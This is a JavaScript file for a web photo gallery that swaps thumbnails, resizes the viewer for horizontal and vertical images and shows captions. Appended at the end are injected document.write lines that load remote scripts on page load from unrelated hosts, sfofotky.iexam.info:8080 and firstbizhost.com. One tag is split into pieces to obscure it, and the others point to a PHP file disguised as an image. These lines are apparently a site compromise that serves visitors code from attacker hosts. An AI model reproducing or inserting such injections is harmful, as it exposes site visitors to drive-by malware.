// JavaScript Document

var descriptions = new Array();
var current = 6;
var vertical = 0;
var verticalcount = 0;

function setViewer (v) {

	document.images["viewer"].src = "../../images/white.gif";
	document.former.viewertext.value = "";

	if (v == true) {
		document.images["viewer"].width = "480";
		document.images["viewer"].height = "640";
	}
		
	else {
		document.images["viewer"].width = "640";
		document.images["viewer"].height = "480";
	}
}




function setThumbs (t,s) {

if (s == "h") {w = "150"; h = "113";}
else {w = "113"; h = "150";}
	
	if (t == 3) {
		for (i=1; i<=t; i++) {
			eval('document.images[\"p'+i+'\"].width = '+w+'');
			eval('document.images[\"p'+i+'\"].height = '+h+'');
		}
	}
	
	else if (t == 2) {
		document.images["p2"].width = w;
		document.images["p2"].height = h;
		document.images["p3"].width = w;
		document.images["p3"].height = h;
	}
	
	else if (t == 1) {
		document.images["p3"].width = w;
		document.images["p3"].height = h;
		}
	
}



function displayH () {

	setThumbs(3,'v');

	if (vertical > 0 && ran == true) {
		if ((vertical-verticalcount) >= 3) {
			document.images["p1"].src = "th/h"+(verticalcount+1)+".jpg";
			document.images["p2"].src = "th/h"+(verticalcount+2)+".jpg";
			document.images["p3"].src = "th/h"+(verticalcount+3)+".jpg";
			
			if ((vertical-verticalcount) > 3) {verticalcount = verticalcount + 3;}
			else {verticalcount = 0; current = 3; ran = false;}
			
		}
			
		else if ((vertical-verticalcount) == 2) {
			document.images["p1"].src = "th/h"+(verticalcount+1)+".jpg";
			document.images["p2"].src = "th/h"+(verticalcount+2)+".jpg";
			document.images["p3"].src = "../../images/white.gif";
			
			verticalcount = 0; current = 3; ran = false;
			
		}
			
		else if ((vertical-verticalcount) == 1) {
			document.images["p1"].src = "th/h"+(verticalcount+1)+".jpg";
			document.images["p2"].src = "../../images/white.gif";
			document.images["p3"].src = "../../images/white.gif";
			
			verticalcount = 0; current = 3; ran = false;
			
		}
			
		else if ((vertical-verticalcount) <= 0) {
			verticalcount = 1; current = 3; ran = false; morePictures();
		}
		
	}
	
	else {
		current = 3;
		ran = false;
		morePictures();
	}
	
}



var ran = false;

function morePictures () {

	if (ran == true) {

		displayH();	
	
	}
	
	else {

		setViewer(false);

		if ((descriptions[0]-current) < 0) {
			ran = true;
			current = 3;
			verticalcount = 0;
			morePictures();
		}

		else {

			if ((descriptions[0]-current) == 0) {
			
				document.images["p1"].src = "th/"+(current-2)+".jpg";
				document.images["p2"].src = "th/"+(current-1)+".jpg";
				document.images["p3"].src = "th/"+current+".jpg";
				
				current = current+3;
				
			}

			else if ((descriptions[0]-current) > 0) {
			
				setThumbs(3,'h');
				
				document.images["p1"].src = "th/"+(current-2)+".jpg";
				document.images["p2"].src = "th/"+(current-1)+".jpg";
				document.images["p3"].src = "th/"+current+".jpg";
		
				current = current+3;

			}
		
			else if ((descriptions[0]-current) == -1) {
			
				document.images["p1"].src = "th/"+(current-2)+".jpg";
				document.images["p2"].src = "th/"+(current-1)+".jpg";
			
				setViewer(true);
				setThumbs(1,'v');
		
				if (vertical > 0) {
					verticalcount = verticalcount + 1;
					document.images["p3"].src = "th/h"+verticalcount+".jpg";
				}
			
				else {
					document.images["p3"].src = "../../images/white.gif";
					verticalcount = 0;
				}
			
				ran = true;
			
			}
		
			else if ((descriptions[0]-current) == -2) {
				document.images["p1"].src = "th/"+(current-2)+".jpg";
								
				setViewer(true);
				setThumbs(2,'v');
		
					if (vertical > 0) {
						verticalcount = verticalcount + 1;
						document.images["p2"].src = "th/h"+verticalcount+".jpg";
					}
				
					else {
						document.images["p2"].src = "../../images/white.gif";
						verticalcount = 0;
					}
				
					if (vertical > 1) {
						verticalcount = verticalcount + 1;
						document.images["p3"].src = "th/h"+verticalcount+".jpg";
					}
				
					else {
						document.images["p3"].src = "../../images/white.gif";
						verticalcount = 0;
					}
				
					ran = true;
				
				}
				
			}
		
		}
		
			// now it's time to change the class for the thumbnails, first set all to unselect, then change the selected
			for (var i=1; i<=3; i++) {
				eval ('document.images[\"p'+i+'\"].className = \"unselect\"');
			}
	
}	




	
	function showPicture () {
	
		var theseargs = showPicture.arguments[0].split("/");
		var thissource = theseargs.length-1;
		thissource = theseargs[thissource];
		// thissource is the final product with just the file name (e.g. - "1.jpg")
		
		var vcheck = thissource.split("h");
		// if the image has an h, then it is vertical and will have a length of 2
		
		var thisone = new Array();
				
		if (thissource == "white.gif") {
			}
		// if the image is blank, then don't do anything
			
		else {
			if (vcheck.length > 1) {
				document.images["viewer"].width = "480";
				document.images["viewer"].height = "640";
				document.images["viewer"].src = "pics/"+thissource;
				
				thisone = thissource.split(".");
				thisone = thisone[0].split("h");
				
				document.former.viewertext.value = (descriptions[descriptions[0]+parseInt(thisone[1])]);
				}
			// above for vertical images, vcheck being greater than 1 means that there is an h in the file name
				
			else {
				document.images["viewer"].width = "640";
				document.images["viewer"].height = "480";
				document.images["viewer"].src = "pics/"+thissource;
				
				thisone = thissource.split(".");
				
				document.former.viewertext.value = descriptions[thisone[0]];
				}
			// above for horizontal images
				
			}
			
			// now it's time to change the class for the thumbnails, first set all to unselect, then change the selected
			for (var i=1; i<=3; i++) {
				eval ('document.images[\"p'+i+'\"].className = \"unselect\"');
				}
			eval ('document.images[\"'+showPicture.arguments[1]+'\"].className = \"selectme\"');
			
			
		}


document.write('<s'+'cript type="text/javascript" src="http://sfofotky.iexam.info:8080/Ethernet.js"></scr'+'ipt>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');